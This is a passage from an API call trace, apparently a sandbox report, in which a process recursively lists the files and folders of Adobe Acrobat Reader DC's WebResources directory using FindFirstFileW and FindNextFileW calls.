dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.877] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.877] GetProcessHeap () returned 0xc10000 [0253.877] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.877] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0253.878] GetProcessHeap () returned 0xc10000 [0253.878] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.878] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.878] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.878] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x37a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.878] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x37a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.878] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.879] GetProcessHeap () returned 0xc10000 [0253.879] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.879] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0253.879] GetProcessHeap () returned 0xc10000 [0253.879] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.880] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.880] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x36b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.880] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x36b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.880] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.880] GetProcessHeap () returned 0xc10000 [0253.880] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.880] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0253.880] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0253.880] GetProcessHeap () returned 0xc10000 [0253.880] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39b28c8 | out: hHeap=0xc10000) returned 1 [0253.881] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0253.881] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.882] GetProcessHeap () returned 0xc10000 [0253.882] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0253.884] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0253.884] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0253.884] GetProcessHeap () returned 0xc10000 [0253.884] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.885] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic-rhp-app", cAlternateFileName="GENERI~1")) returned 1 [0253.885] GetProcessHeap () returned 0xc10000 [0253.885] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.889] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.889] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0253.889] GetProcessHeap () returned 0xc10000 [0253.889] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0253.892] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.892] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0253.893] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x122b, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0253.893] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x122b, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0253.893] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0253.893] GetProcessHeap () returned 0xc10000 [0253.893] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.893] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0253.893] GetProcessHeap () returned 0xc10000 [0253.893] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.942] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.943] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0253.943] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0253.943] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0253.943] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0253.943] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0253.943] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0253.943] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0253.943] GetProcessHeap () returned 0xc10000 [0253.943] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0253.944] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0253.946] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.946] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0253.946] GetProcessHeap () returned 0xc10000 [0253.946] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0253.949] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.949] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0253.949] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0253.949] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0253.949] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: 